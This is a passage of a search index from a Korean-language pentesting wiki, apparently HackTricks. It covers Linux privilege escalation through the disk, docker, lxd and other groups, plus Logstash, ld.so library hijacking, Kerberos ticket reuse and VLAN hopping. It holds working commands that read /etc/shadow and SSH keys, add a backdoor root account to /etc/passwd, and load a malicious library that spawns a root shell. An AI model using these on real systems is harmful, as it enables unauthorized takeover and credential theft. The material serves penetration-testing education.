Privesc » Staff Group","id":"1791","title":"Staff Group"},"1792":{"body":"이 권한은 루트 접근과 거의 동등 하며, 머신 내부의 모든 데이터에 접근할 수 있습니다. Files:/dev/sd[a-z][1-9] bash df -h #Find where \\"/\\" is mounted\\ndebugfs /dev/sda1\\ndebugfs: cd /root\\ndebugfs: ls\\ndebugfs: cat /root/.ssh/id_rsa\\ndebugfs: cat /etc/shadow debugfs를 사용하면 파일을 쓸 수 있다는 점에 유의하세요. 예를 들어 /tmp/asd1.txt를 /tmp/asd2.txt로 복사하려면 다음과 같이 할 수 있습니다: bash debugfs -w /dev/sda1\\ndebugfs: dump /tmp/asd1.txt /tmp/asd2.txt 그러나 root가 소유한 파일 (예: /etc/shadow 또는 /etc/passwd)에 쓰기 를 시도하면 \\" Permission denied \\" 오류가 발생합니다.","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Disk Group","id":"1792","title":"Disk Group"},"1793":{"body":"w 명령어를 사용하면 시스템에 로그인한 사람 을 찾을 수 있으며, 다음과 같은 출력을 보여줍니다: bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\\nyossi tty1 22:16 5:13m 0.05s 0.04s -bash\\nmoshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash tty1 는 사용자 yossi가 물리적으로 머신의 터미널에 로그인했음을 의미합니다. video group 은 화면 출력을 볼 수 있는 권한이 있습니다. 기본적으로 화면을 관찰할 수 있습니다. 이를 위해서는 현재 화면의 이미지를 원시 데이터로 가져오고 화면이 사용하는 해상도를 알아내야 합니다. 화면 데이터는 /dev/fb0에 저장될 수 있으며, 이 화면의 해상도는 /sys/class/graphics/fb0/virtual_size에서 찾을 수 있습니다. bash cat /dev/fb0 > /tmp/screen.raw\\ncat /sys/class/graphics/fb0/virtual_size 원시 이미지 를 열기 위해 GIMP 를 사용하고 screen.raw 파일을 선택한 후 파일 형식으로 Raw image data 를 선택할 수 있습니다: 그런 다음 너비와 높이를 화면에서 사용된 값으로 수정하고 다양한 이미지 유형을 확인한 후 (화면을 더 잘 보여주는 것을 선택합니다):","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Video Group","id":"1793","title":"Video Group"},"1794":{"body":"기본적으로 루트 그룹의 구성원 은 서비스 구성 파일이나 일부 라이브러리 파일 또는 권한 상승 에 사용될 수 있는 기타 흥미로운 것들 을 수정 할 수 있는 접근 권한이 있는 것 같습니다... 루트 구성원이 수정할 수 있는 파일 확인 : bash find / -group root -perm -g=w 2>/dev/null","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » 루트 그룹","id":"1794","title":"루트 그룹"},"1795":{"body":"호스트 머신의 루트 파일 시스템을 인스턴스의 볼륨에 마운트 할 수 있으므로, 인스턴스가 시작될 때 해당 볼륨에 chroot를 즉시 로드합니다. 이는 사실상 머신에서 루트 권한을 부여합니다. bash docker image #Get images from the docker service #Get a shell inside a docker container with access as root to the filesystem\\ndocker run -it --rm -v /:/mnt chroot /mnt bash\\n#If you want full access from the host, create a backdoor in the passwd file\\necho \'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh\' >> /etc/passwd #Ifyou just want filesystem and network access you can startthe following container:\\ndocker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash 마지막으로, 이전의 제안이 마음에 들지 않거나 어떤 이유로 작동하지 않는 경우(예: docker api 방화벽?) 특권 컨테이너를 실행하고 그로부터 탈출하는 방법을 시도할 수 있습니다. 여기에서 설명합니다: Docker Security docker 소켓에 대한 쓰기 권한이 있는 경우 docker 소켓을 악용하여 권한을 상승시키는 방법에 대한 이 게시물을 읽어보세요 . GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalation Privilege escalation via Docker - Chris Foster","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Docker Group","id":"1795","title":"Docker Group"},"1796":{"body":"Interesting Groups - Linux Privesc","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » lxc/lxd 그룹","id":"1796","title":"lxc/lxd 그룹"},"1797":{"body":"일반적으로 adm 그룹의 구성원 은 _/var/log/_에 위치한 로그 파일을 읽을 수 있는 권한을 가지고 있습니다. 따라서 이 그룹 내의 사용자를 침해한 경우 로그를 확인해야 합니다.","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Adm 그룹","id":"1797","title":"Adm 그룹"},"1798":{"body":"OpenBSD 내에서 auth 그룹은 일반적으로 사용되는 경우 /etc/skey 및 /var/db/yubikey 폴더에 쓸 수 있습니다. 이 권한은 다음의 익스플로잇을 사용하여 루트 권한을 상승시키는 데 악용될 수 있습니다: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » Auth 그룹","id":"1798","title":"Auth 그룹"},"1799":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 당신이 lxd 또는 lxc 그룹 에 속한다면, 루트가 될 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » lxd/lxc Group - Privilege escalation » lxd/lxc 그룹 - 권한 상승","id":"1799","title":"lxd/lxc 그룹 - 권한 상승"},"18":{"body":"tip 이것은 HackTricks 프로젝트의 가치 입니다: 모든 인터넷 사용자에게 무료 교육 해킹 리소스에 대한 접근을 제공합니다. 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다. 이 책의 목적은 포괄적인 교육 리소스 로 기능하는 것입니다. 커뮤니티가 게시한 멋진 해킹 기술을 저장 하고 원래 저자 에게 모든 크레딧 을 부여합니다. 우리는 다른 사람에게서 크레딧을 원하지 않습니다 , 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다. 우리는 또한 HackTricks에서 우리의 연구 를 작성합니다. 여러 경우에 우리는 기술의 중요한 부분에 대한 요약을 HackTricks에 작성하고 더 많은 세부정보를 위해 원래 게시물을 방문하도록 독자를 권장할 것입니다 . 책의 모든 해킹 기술을 조직화 하여 더 접근 가능하게 만듭니다. HackTricks 팀은 사람들이 더 빠르게 배울 수 있도록 콘텐츠를 조직하는 데 수천 시간을 무료로 헌신했습니다.","breadcrumbs":"HackTricks Values & FAQ » HackTricks Values","id":"18","title":"HackTricks Values"},"180":{"body":"https://github.com/vecna/sniffjoke tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » IDS and IPS Evasion » 도구","id":"180","title":"도구"},"1800":{"body":"","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » lxd/lxc Group - Privilege escalation » 인터넷 없이 악용하기","id":"1800","title":"인터넷 없이 악용하기"},"1801":{"body":"신뢰할 수 있는 저장소에서 lxd와 함께 사용할 alpine 이미지를 다운로드할 수 있습니다. Canonical은 그들의 사이트에 매일 빌드를 게시합니다: https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/ 가장 최신 빌드에서 lxd.tar.xz 와 rootfs.squashfs 를 모두 가져오세요. (디렉토리 이름은 날짜입니다). 대안으로, 이 배포판 빌더를 당신의 머신에 설치할 수 있습니다: https://github.com/lxc/distrobuilder (github의 지침을 따르세요): bash # Install requirements\\nsudo apt update\\nsudo apt install -y golang-go gcc debootstrap rsync gpg squashfs-tools git make build-essential libwin-hivex-perl wimtools genisoimage # Clone repo\\nmkdir -p $HOME/go/src/github.com/lxc/\\ncd $HOME/go/src/github.com/lxc/\\ngit clone https://github.com/lxc/distrobuilder # Make distrobuilder\\ncd ./distrobuilder\\nmake # Prepare the creation of alpine\\nmkdir -p $HOME/ContainerImages/alpine/\\ncd $HOME/ContainerImages/alpine/\\nwget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml # Create the container - Beware of architecture while compiling locally.\\nsudo $HOME/go/bin/distrobuilder build-incus alpine.yaml -o image.release=3.18 -o image.architecture=x86_64 파일 incus.tar.xz (**Canonical 리포지토리에서 다운로드한 경우 lxd.tar.xz )와 rootfs.squashfs 를 업로드하고, 이미지를 리포지토리에 추가한 후 컨테이너를 생성하세요: bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine # Check the image is there\\nlxc image list # Create the container\\nlxc init alpine privesc -c security.privileged=true # List containers\\nlxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true caution 이 오류를 발견하면 오류: 저장소 풀이 없습니다. 새 저장소 풀을 생성하십시오 **lxd init**를 실행하고 모든 옵션을 기본값으로 설정하십시오. 그런 다음 이전 명령어 덩어리를 반복하십시오. 마지막으로 컨테이너를 실행하고 root를 얻을 수 있습니다: bash lxc start privesc\\nlxc exec privesc /bin/sh\\n[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » lxd/lxc Group - Privilege escalation » 방법 1","id":"1801","title":"방법 1"},"1802":{"body":"Alpine 이미지를 빌드하고 security.privileged=true 플래그를 사용하여 시작하여 컨테이너가 호스트 파일 시스템과 루트로 상호 작용하도록 강제합니다. bash # build a simple alpine image\\ngit clone https://github.com/saghul/lxd-alpine-builder\\ncd lxd-alpine-builder\\nsed -i \'s,yaml_path=\\"latest-stable/releases/$apk_arch/latest-releases.yaml\\",yaml_path=\\"v3.8/releases/$apk_arch/latest-releases.yaml\\",\' build-alpine\\nsudo ./build-alpine -a i686 # import the image\\nlxc image import ./alpine*.tar.gz --alias myimage # It\'s important doing this from YOUR HOME directory on the victim machine, or it might fail. # before running the image, start and configure the lxd storage pool as default\\nlxd init # run the image\\nlxc init myimage mycontainer -c security.privileged=true # mount the /root into the image\\nlxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Interesting Groups - Linux Privesc » lxd/lxc Group - Privilege escalation » Method 2","id":"1802","title":"Method 2"},"1803":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. Logstash는 로그를 수집, 변환 및 전송 하는 데 사용되는 시스템인 파이프라인 을 통해 작동합니다. 이러한 파이프라인은 입력 , 필터 , 및 출력 단계로 구성됩니다. Logstash가 손상된 머신에서 작동할 때 흥미로운 측면이 발생합니다.","breadcrumbs":"Linux Privilege Escalation » Logstash » Logstash","id":"1803","title":"Logstash"},"1804":{"body":"파이프라인은 /etc/logstash/pipelines.yml 파일에서 구성되며, 여기에는 파이프라인 구성의 위치가 나열됩니다: yaml # Define your pipelines here. Multiple pipelines can be defined.\\n# For details on multiple pipelines, refer to the documentation:\\n# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html - pipeline.id: main\\npath.config: \\"/etc/logstash/conf.d/*.conf\\"\\n- pipeline.id: example\\npath.config: \\"/usr/share/logstash/pipeline/1*.conf\\"\\npipeline.workers: 6 이 파일은 파이프라인 구성이 포함된 .conf 파일이 어디에 위치하는지를 보여줍니다. Elasticsearch output module 을 사용할 때, pipelines 에 Elasticsearch credentials 가 포함되는 것이 일반적이며, 이는 Logstash가 Elasticsearch에 데이터를 쓰기 위해 필요한 권한이 광범위하기 때문입니다. 구성 경로의 와일드카드는 Logstash가 지정된 디렉토리에서 모든 일치하는 파이프라인을 실행할 수 있도록 합니다.","breadcrumbs":"Linux Privilege Escalation » Logstash » Pipeline Configuration","id":"1804","title":"Pipeline Configuration"},"1805":{"body":"권한 상승을 시도하려면 먼저 Logstash 서비스가 실행 중인 사용자를 식별해야 하며, 일반적으로 logstash 사용자입니다. 다음 기준 중 하나 를 충족해야 합니다: 파이프라인 .conf 파일에 쓰기 권한 이 있거나 /etc/logstash/pipelines.yml 파일이 와일드카드를 사용하고, 대상 폴더에 쓸 수 있음 또한, 다음 조건 중 하나 를 충족해야 합니다: Logstash 서비스를 재시작할 수 있는 능력 또는 /etc/logstash/logstash.yml 파일에 config.reload.automatic: true 가 설정되어 있음 구성에 와일드카드가 주어지면, 이 와일드카드와 일치하는 파일을 생성하여 명령을 실행할 수 있습니다. 예를 들어: bash input {\\nexec {\\ncommand => \\"whoami\\"\\ninterval => 120\\n}\\n} output {\\nfile {\\npath => \\"/tmp/output.log\\"\\ncodec => rubydebug\\n}\\n} 여기서, interval 은 초 단위로 실행 빈도를 결정합니다. 주어진 예에서 whoami 명령은 120초마다 실행되며, 그 출력은 /tmp/output.log 로 전달됩니다. /etc/logstash/logstash.yml 에 config.reload.automatic: true 가 설정되어 있으면, Logstash는 자동으로 새로운 또는 수정된 파이프라인 구성을 감지하고 적용하며, 재시작이 필요하지 않습니다. 와일드카드가 없으면 기존 구성에 대한 수정이 여전히 가능하지만, 중단을 피하기 위해 주의가 필요합니다.","breadcrumbs":"Linux Privilege Escalation » Logstash » 쓰기 가능한 파이프라인을 통한 권한 상승","id":"1805","title":"쓰기 가능한 파이프라인을 통한 권한 상승"},"1806":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Logstash » References","id":"1806","title":"References"},"1807":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » ld.so privesc exploit example » ld.so privesc exploit example","id":"1807","title":"ld.so privesc exploit example"},"1808":{"body":"다음 섹션에서는 환경을 준비하는 데 사용할 파일의 코드를 찾을 수 있습니다. sharedvuln.c\\nlibcustom.h\\nlibcustom.c c #include \\n#include \\"libcustom.h\\" int main(){\\nprintf(\\"Welcome to my amazing application!\\\\n\\");\\nvuln_func();\\nreturn 0;\\n} c #include void vuln_func(); c #include void vuln_func()\\n{\\nputs(\\"Hi\\");\\n} 파일 을 같은 폴더에 생성 합니다. 라이브러리 를 컴파일 합니다: gcc -shared -o libcustom.so -fPIC libcustom.c libcustom.so를 /usr/lib로 복사 합니다: sudo cp libcustom.so /usr/lib (루트 권한) 실행 파일 을 컴파일 합니다: gcc sharedvuln.c -o sharedvuln -lcustom","breadcrumbs":"Linux Privilege Escalation » ld.so privesc exploit example » 환경 준비","id":"1808","title":"환경 준비"},"1809":{"body":"_libcustom.so_가 _/usr/lib_에서 로드 되고 있으며, 이진 파일을 실행 할 수 있는지 확인합니다. $ ldd sharedvuln\\nlinux-vdso.so.1 => (0x00007ffc9a1f7000)\\nlibcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)\\nlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)\\n/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln\\nWelcome to my amazing application!\\nHi","breadcrumbs":"Linux Privilege Escalation » ld.so privesc exploit example » 환경 확인","id":"1809","title":"환경 확인"},"181":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN을 위한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 ( 자세한 내용은 https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9 확인하세요. ) 먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 include 마스크를 통해 포트를 검색하여 수행할 수 있습니다. CDP가 작동하지 않는 경우, MAC 주소를 검색하여 포트 식별을 시도할 수 있습니다 : SW1(config)# show mac address-table | include 0050.0000.0500 트렁크 모드로 전환하기 전에 기존 VLAN 목록을 작성하고 해당 식별자를 확인해야 합니다. 이러한 식별자는 인터페이스에 할당되어 트렁크를 통해 다양한 VLAN에 접근할 수 있게 합니다. 사용 중인 포트는 예를 들어 VLAN 10과 연결되어 있습니다. SW1# show vlan brief 트렁크 모드로 전환하려면 인터페이스 구성 모드에 들어가야 합니다 : SW1(config)# interface GigabitEthernet 0/2\\nSW1(config-if)# switchport trunk encapsulation dot1q\\nSW1(config-if)# switchport mode trunk 트렁크 모드로 전환하면 일시적으로 연결이 중단되지만, 이후에 복구할 수 있습니다. 그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다: bash # Legacy (vconfig) – still works but deprecated in modern kernels\\nsudo vconfig add eth0 10\\nsudo vconfig add eth0 20\\nsudo vconfig add eth0 50\\nsudo vconfig add eth0 60\\nsudo ifconfig eth0.10 up\\nsudo ifconfig eth0.20 up\\nsudo ifconfig eth0.50 up\\nsudo ifconfig eth0.60 up # Modern (ip-link – preferred)\\nsudo modprobe 8021q\\nsudo ip link add link eth0 name eth0.10 type vlan id 10\\nsudo ip link add link eth0 name eth0.20 type vlan id 20\\nsudo ip link set eth0.10 up\\nsudo ip link set eth0.20 up\\nsudo dhclient -v eth0.50\\nsudo dhclient -v eth0.60 그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다: bash sudo dhclient -v eth0.10\\nsudo dhclient -v eth0.20 인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예: bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0\\n# or\\nsudo ip addr add 10.10.10.66/24 dev eth0.10 연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다. 궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 후속 작업을 위한 기반을 마련합니다.","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » Lateral VLAN Segmentation Bypass","id":"181","title":"Lateral VLAN Segmentation Bypass"},"1810":{"body":"이 시나리오에서는 누군가가 /etc/ld.so.conf/ 파일 안에 취약한 항목을 생성했다고 가정합니다 : bash sudo echo \\"/home/ubuntu/lib\\" > /etc/ld.so.conf.d/privesc.conf 취약한 폴더는 _/home/ubuntu/lib_입니다 (여기에서 쓰기 권한이 있습니다). 다음 코드를 다운로드하고 해당 경로에서 컴파일하세요: c //gcc -shared -o libcustom.so -fPIC libcustom.c #include \\n#include \\n#include void vuln_func(){\\nsetuid(0);\\nsetgid(0);\\nprintf(\\"I\'m the bad library\\\\n\\");\\nsystem(\\"/bin/sh\\",NULL,NULL);\\n} 이제 잘못 구성된 경로 안에 악성 libcustom 라이브러리를 생성했으므로 , 재부팅 을 기다리거나 루트 사용자가 **ldconfig**를 실행하기를 기다려야 합니다 ( 이 바이너리를 sudo 로 실행할 수 있거나 suid 비트 가 설정되어 있다면 직접 실행할 수 있습니다 ). 이 일이 발생한 후 다시 확인 하여 sharevuln 실행 파일이 libcustom.so 라이브러리를 어디에서 로드하는지 확인하십시오: c $ldd sharedvuln\\nlinux-vdso.so.1 => (0x00007ffeee766000)\\nlibcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)\\nlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)\\n/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) 보시다시피 /home/ubuntu/lib에서 로드되고 사용자가 이를 실행하면 셸이 실행됩니다: c $ ./sharedvuln\\nWelcome to my amazing application!\\nI\'m the bad library\\n$ whoami\\nubuntu note 이 예제에서는 권한 상승을 하지 않았지만, 실행되는 명령을 수정하고 루트 또는 다른 권한이 있는 사용자가 취약한 바이너리를 실행하기를 기다리면 권한을 상승시킬 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » ld.so privesc exploit example » Exploit","id":"1810","title":"Exploit"},"1811":{"body":"이전 예제에서는 관리자가 /etc/ld.so.conf.d/ 내의 구성 파일 안에 비권한 폴더를 설정한 잘못된 구성을 가장했습니다. 하지만 동일한 취약점을 유발할 수 있는 다른 잘못된 구성도 있습니다. /etc/ld.so.conf.d 내의 일부 구성 파일 에 쓰기 권한 이 있거나, /etc/ld.so.conf.d 폴더 또는 /etc/ld.so.conf 파일에 쓰기 권한이 있으면 동일한 취약점을 구성하고 이를 악용할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » ld.so privesc exploit example » 다른 잘못된 구성 - 동일한 취약점","id":"1811","title":"다른 잘못된 구성 - 동일한 취약점"},"1812":{"body":"ldconfig에 대한 sudo 권한이 있다고 가정해 보겠습니다. ldconfig에 구성 파일을 어디서 로드할지 지시할 수 있으므로, 이를 이용해 ldconfig가 임의의 폴더를 로드하도록 할 수 있습니다. 따라서 \\"/tmp\\"를 로드하는 데 필요한 파일과 폴더를 생성해 보겠습니다: bash cd /tmp\\necho \\"include /tmp/conf/*\\" > fake.ld.so.conf\\necho \\"/tmp\\" > conf/evil.conf 이제 이전 익스플로잇에서 언급한 대로 , /tmp 안에 악성 라이브러리를 생성합니다 . 마지막으로, 경로를 로드하고 바이너리가 라이브러리를 어디에서 로드하는지 확인해 봅시다: bash ldconfig -f fake.ld.so.conf ldd sharedvuln\\nlinux-vdso.so.1 => (0x00007fffa2dde000)\\nlibcustom.so => /tmp/libcustom.so (0x00007fcb07756000)\\nlibc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)\\n/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) 보시다시피, ldconfig에 대한 sudo 권한이 있으면 동일한 취약점을 악용할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » ld.so privesc exploit example » Exploit 2","id":"1812","title":"Exploit 2"},"1813":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 리눅스 머신은 Active Directory 환경 내에 존재할 수 있습니다. AD의 리눅스 머신은 파일 내에 다양한 CCACHE 티켓을 저장할 수 있습니다. 이 티켓은 다른 kerberos 티켓처럼 사용되고 남용될 수 있습니다 . 이 티켓을 읽으려면 티켓의 사용자 소유자이거나 root 여야 합니다.","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » Linux Active Directory","id":"1813","title":"Linux Active Directory"},"1814":{"body":"","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » Enumeration","id":"1814","title":"Enumeration"},"1815":{"body":"리눅스(또는 Windows의 bash)에서 AD에 접근할 수 있다면 https://github.com/lefayjey/linWinPwn 를 사용하여 AD를 열거할 수 있습니다. 리눅스에서 AD를 열거하는 다른 방법 을 배우려면 다음 페이지를 확인할 수 있습니다: 389, 636, 3268, 3269 - Pentesting LDAP","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » 리눅스에서 AD 열거","id":"1815","title":"리눅스에서 AD 열거"},"1816":{"body":"FreeIPA는 Microsoft Windows Active Directory 에 대한 오픈 소스 대안 으로, 주로 Unix 환경을 위해 설계되었습니다. Active Directory와 유사한 관리 기능을 위해 MIT Kerberos 키 배포 센터와 완전한 LDAP 디렉토리 를 결합합니다. CA 및 RA 인증서 관리를 위한 Dogtag Certificate System 을 활용하며, 스마트카드를 포함한 다중 인증 을 지원합니다. Unix 인증 프로세스를 위해 SSSD가 통합되어 있습니다. 이에 대해 더 알아보려면: FreeIPA Pentesting","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » FreeIPA","id":"1816","title":"FreeIPA"},"1817":{"body":"","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » 티켓 다루기","id":"1817","title":"티켓 다루기"},"1818":{"body":"이 페이지에서는 리눅스 호스트 내에서 kerberos 티켓을 찾을 수 있는 다양한 장소 를 찾을 수 있으며, 다음 페이지에서는 이 CCache 티켓 형식을 Kirbi(Windows에서 사용해야 하는 형식)로 변환하는 방법과 PTT 공격을 수행하는 방법을 배울 수 있습니다: Pass the Ticket","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » Pass The Ticket","id":"1818","title":"Pass The Ticket"},"1819":{"body":"CCACHE 파일은 Kerberos 자격 증명 을 저장하기 위한 이진 형식으로, 일반적으로 /tmp에 600 권한으로 저장됩니다. 이 파일은 **이름 형식 krb5cc_%{uid}**로 식별되며, 이는 사용자의 UID와 관련이 있습니다. 인증 티켓 검증을 위해 **환경 변수 KRB5CCNAME**을 원하는 티켓 파일의 경로로 설정하여 재사용할 수 있습니다. env | grep KRB5CCNAME으로 인증에 사용되는 현재 티켓을 나열합니다. 형식은 이식 가능하며, export KRB5CCNAME=/tmp/ticket.ccache로 환경 변수를 설정하여 티켓을 재사용할 수 있습니다 . Kerberos 티켓 이름 형식은 krb5cc_%{uid}이며, 여기서 uid는 사용자 UID입니다. bash # Find tickets\\nls /tmp/ | grep krb5cc\\nkrb5cc_1000 # Prepare to use it\\nexport KRB5CCNAME=/tmp/krb5cc_1000","breadcrumbs":"Linux Privilege Escalation » Linux Active Directory » /tmp에서 CCACHE 티켓 재사용","id":"1819","title":"/tmp에서 CCACHE 티켓 재사용"},"182":{"body":"이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 